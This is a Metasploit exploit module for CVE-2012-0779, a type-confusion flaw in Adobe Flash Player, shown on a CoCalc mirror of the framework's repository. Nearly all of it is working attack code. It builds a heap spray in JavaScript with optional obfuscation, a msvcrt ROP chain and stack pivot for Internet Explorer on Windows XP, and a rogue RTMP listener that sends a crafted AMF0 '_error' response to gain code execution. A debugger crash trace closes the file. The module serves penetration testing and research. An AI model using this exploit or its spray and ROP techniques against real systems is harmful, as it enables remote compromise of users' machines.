CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_flash_rtmp.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::RopDb
11
include Msf::Exploit::Remote::BrowserAutopwn
12
13
autopwn_info({
14
:os_name => OperatingSystems::Match::WINDOWS,
15
:ua_name => HttpClients::IE,
16
:ua_minver => "6.0",
17
:ua_maxver => "8.0",
18
:method => "GetVariable",
19
:classid => "ShockwaveFlash.ShockwaveFlash",
20
:rank => NormalRanking, # reliable memory corruption
21
:javascript => true
22
})
23
24
def initialize(info={})
25
super(update_info(info,
26
'Name' => "Adobe Flash Player Object Type Confusion",
27
'Description' => %q{
28
This module exploits a vulnerability found in Adobe Flash
29
Player. By supplying a corrupt AMF0 "_error" response, it
30
is possible to gain arbitrary remote code execution under
31
the context of the user.
32
33
This vulnerability has been exploited in the wild as part of
34
the "World Uyghur Congress Invitation.doc" e-mail attack.
35
According to the advisory, 10.3.183.19 and 11.x before
36
11.2.202.235 are affected.
37
},
38
'License' => MSF_LICENSE,
39
'Author' =>
40
[
41
'sinn3r', # Metasploit module
42
'juan vazquez' # Metasploit module
43
],
44
'References' =>
45
[
46
[ 'CVE', '2012-0779' ],
47
[ 'OSVDB', '81656'],
48
[ 'BID', '53395' ],
49
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
50
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],
51
[ 'URL', 'https://www.rapid7.com/blog/post/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]
52
],
53
'Payload' =>
54
{
55
#'Space' => 1024,
56
'BadChars' => "\x00"
57
},
58
'DefaultOptions' =>
59
{
60
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
61
},
62
'Platform' => 'win',
63
'Targets' =>
64
[
65
# Flash Player 11.2.202.228
66
[ 'Automatic', {} ],
67
[
68
'IE 6 on Windows XP SP3',
69
{
70
'Rop' => nil,
71
'RandomHeap' => false,
72
'Offset' => '0x0'
73
}
74
],
75
[
76
'IE 7 on Windows XP SP3',
77
{
78
'Rop' => nil,
79
'RandomHeap' => false,
80
'Offset' => '0x0'
81
}
82
],
83
[
84
'IE 8 on Windows XP SP3 with msvcrt ROP',
85
{
86
'Rop' => :msvcrt,
87
'RandomHeap' => false,
88
'Offset' => '238',
89
'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
90
}
91
]
92
],
93
'Privileged' => false,
94
'DisclosureDate' => '2012-05-04',
95
'DefaultTarget' => 0))
96
97
register_options(
98
[
99
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
100
OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
101
OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),
102
], self.class
103
)
104
105
end
106
107
def get_target(agent)
108
#If the user is already specified by the user, we'll just use that
109
return target if target.name != 'Automatic'
110
111
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
112
return targets[1] #IE 6 on Windows XP SP3
113
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
114
return targets[2] #IE 7 on Windows XP SP3
115
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
116
return targets[3] #IE 8 on Windows XP SP3
117
else
118
return nil
119
end
120
end
121
122
def ret(t)
123
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
124
end
125
126
def get_rop_chain(t)
127
print_status("Using msvcrt ROP")
128
p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
129
p << payload.encoded
130
131
code = ret(t)
132
code << rand_text(119)
133
code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
134
offset = 2616 - code.length
135
code << rand_text(offset)
136
code << [ t['StackPivot'] ].pack("V")
137
return code
138
end
139
140
def get_easy_spray(t, js_code, js_nops)
141
randnop = rand_text_alpha(rand(100) + 1)
142
143
spray = <<-JS
144
var heap_obj = new heapLib.ie(0x20000);
145
var code = unescape("#{js_code}");
146
var #{randnop} = "#{js_nops}";
147
var nops = unescape(#{randnop});
148
149
while (nops.length < 0x80000) nops += nops;
150
151
var offset = nops.substring(0, #{t['Offset']});
152
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
153
154
while (shellcode.length < 0x40000) shellcode += shellcode;
155
var block = shellcode.substring(0, (0x80000-6)/2);
156
157
158
heap_obj.gc();
159
for (var z=1; z < 0x185; z++) {
160
heap_obj.alloc(block);
161
}
162
163
JS
164
165
return spray
166
167
end
168
169
170
def get_aligned_spray(t, js_rop, js_nops)
171
randnop = rand_text_alpha(rand(100) + 1)
172
173
spray = <<-JS
174
175
var heap_obj = new heapLib.ie(0x20000);
176
var #{randnop} = "#{js_nops}";
177
var nops = unescape(#{randnop});
178
var rop_chain = unescape("#{js_rop}");
179
180
while (nops.length < 0x80000) nops += nops;
181
182
var offset = nops.substring(0, #{t['Offset']});
183
var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);
184
185
186
while (shellcode.length < 0x40000) shellcode += shellcode;
187
var block = shellcode.substring(0, (0x80000-6)/2);
188
189
190
heap_obj.gc();
191
for (var z=1; z < 0x1c5; z++) {
192
heap_obj.alloc(block);
193
}
194
195
JS
196
197
return spray
198
199
end
200
201
def exploit
202
@swf = create_swf
203
204
# Boilerplate required to handled pivoted listeners
205
comm = datastore['ListenerComm']
206
if comm == "local"
207
comm = ::Rex::Socket::Comm::Local
208
else
209
comm = nil
210
end
211
212
@rtmp_listener = Rex::Socket::TcpServer.create(
213
'LocalHost' => datastore['RTMPHOST'],
214
'LocalPort' => datastore['RTMPPORT'],
215
'Comm' => comm,
216
'Context' => {
217
'Msf' => framework,
218
'MsfExploit' => self,
219
}
220
)
221
222
# Register callbacks
223
@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
224
add_socket(cli)
225
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
226
on_rtmp_connect(cli)
227
}
228
229
@rtmp_listener.start
230
231
super
232
end
233
234
def my_read(cli,size,timeout=nil)
235
if timeout.nil?
236
timeout = cli.def_read_timeout
237
end
238
239
buf = ""
240
::Timeout::timeout(timeout) {
241
while buf.length < size
242
buf << cli.get_once(size - buf.length)
243
end
244
}
245
buf
246
end
247
248
def do_handshake(cli)
249
c0 = my_read(cli, 1)
250
c1 = my_read(cli, 1536) # HandshakeSize => 1536
251
s0 = "\3" # s0
252
s1 = Rex::Text.rand_text(4) # s1.time
253
s1 << "\x00\x00\x00\x00" # s1.zero
254
s1 << Rex::Text.rand_text(1528) # s1.random_data
255
s2 = c1 # s2
256
cli.put(s0)
257
cli.put(s1)
258
cli.put(s2)
259
c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
260
end
261
262
def on_rtmp_connect(cli)
263
264
begin
265
do_handshake(cli)
266
request = my_read(cli, 341) # connect request length
267
268
case request
269
when /connect/
270
rtmp_header = "\x03" # Chunk Stream ID
271
rtmp_header << "\x00\x00\x00" # Timestamp
272
rtmp_header << "\x00\x00\x71" # Body Size
273
rtmp_header << "\x14" # AMF0 Command
274
rtmp_header << "\x00\x00\x00\x00" # Stream ID
275
276
# String
277
rtmp_body = "\x02" # String
278
rtmp_body << "\x00\x06" # String length
279
rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
280
# Number
281
rtmp_body << "\x00" # AMF Type: Number
282
rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
283
# Array
284
rtmp_body << "\x0a" # AMF Type: Array
285
rtmp_body << "\x00\x00\x00\x05" # Array length: 5
286
# Array elements
287
rtmp_body << "\x00" # AMF Type: Number
288
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
289
rtmp_body << "\x00" # AMF Type: Number
290
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
291
rtmp_body << "\x00" # AMF Type: Number
292
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
293
rtmp_body << "\x00" # AMF Type: Number
294
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
295
rtmp_body << "\x00" # AMF Type: Number
296
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
297
# Crafter Number
298
rtmp_body << "\x00" # AMF Type: Number
299
rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
300
# Number
301
rtmp_body << "\x00" # AMF Type: Number
302
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
303
# Number
304
rtmp_body << "\x00" # AMF Type: Number
305
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
306
# Number
307
rtmp_body << "\x00" # AMF Type: Number
308
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
309
# Number
310
rtmp_body << "\x00" # AMF Type: Number
311
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
312
313
trigger = rtmp_header
314
trigger << rtmp_body
315
316
cli.put(trigger)
317
@rtmp_listener.close_client(cli)
318
end
319
rescue
320
ensure
321
@rtmp_listener.close_client(cli)
322
remove_socket(cli)
323
end
324
325
end
326
327
def cleanup
328
super
329
return if not @rtmp_listener
330
331
begin
332
@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
333
if @rtmp_listener.kind_of?(Rex::Socket)
334
@rtmp_listener.close
335
@rtmp_listener.stop
336
end
337
@rtmp_listener = nil
338
rescue ::Exception
339
end
340
end
341
342
def on_request_uri(cli, request)
343
344
agent = request.headers['User-Agent']
345
my_target = get_target(agent)
346
347
# Avoid the attack if the victim doesn't have the same setup we're targeting
348
if my_target.nil?
349
print_error("Browser not supported: #{agent}")
350
send_not_found(cli)
351
return
352
end
353
354
print_status("Client requesting: #{request.uri}")
355
356
if request.uri =~ /\.swf$/
357
print_status("Sending Exploit SWF")
358
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
359
return
360
end
361
362
p = payload.encoded
363
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
364
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
365
366
if not my_target['Rop'].nil?
367
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
368
js = get_aligned_spray(my_target, js_rop, js_nops)
369
else
370
js = get_easy_spray(my_target, js_code, js_nops)
371
end
372
373
js = heaplib(js, {:noobfu => true})
374
375
if datastore['OBFUSCATE']
376
js = ::Rex::Exploitation::JSObfu.new(js)
377
js.obfuscate(memory_sensitive: true)
378
end
379
380
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
381
swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"
382
383
if datastore['RTMPHOST'] == '0.0.0.0'
384
rtmp_host = Rex::Socket.source_address('1.2.3.4')
385
else
386
rtmp_host = datastore['RTMPHOST']
387
end
388
389
rtmp_port = datastore['RTMPPORT']
390
391
html = %Q|
392
<html>
393
<head>
394
<script>
395
#{js}
396
</script>
397
</head>
398
<body>
399
<center>
400
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
401
id="test" width="1" height="1"
402
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
403
<param name="movie" value="#{swf_uri}" />
404
<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
405
<embed src="#{swf_uri}" quality="high"
406
width="1" height="1" name="test" align="middle"
407
allowNetworking="all"
408
type="application/x-shockwave-flash"
409
pluginspage="http://www.macromedia.com/go/getflashplayer"
410
FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
411
</embed>
412
413
</object>
414
</center>
415
416
</body>
417
</html>
418
|
419
420
html = html.gsub(/^ {4}/, '')
421
422
print_status("Sending html")
423
send_response(cli, html, {'Content-Type'=>'text/html'})
424
end
425
426
def create_swf
427
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0779.swf" )
428
fd = ::File.open( path, "rb" )
429
swf = fd.read(fd.stat.size)
430
fd.close
431
432
return swf
433
end
434
end
435
436
=begin
437
438
* Flash Player 11.2.202.228
439
440
(348.540): Access violation - code c0000005 (first chance)
441
First chance exceptions are reported before any exception handling.
442
This exception may be expected and handled.
443
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
444
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
445
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
446
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
447
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
448
ds:0023:44444470=????????
449
450
0:000> u eip
451
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
452
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
453
104b1b30 53 push ebx
454
104b1b31 ffd0 call eax
455
456
=end
457
458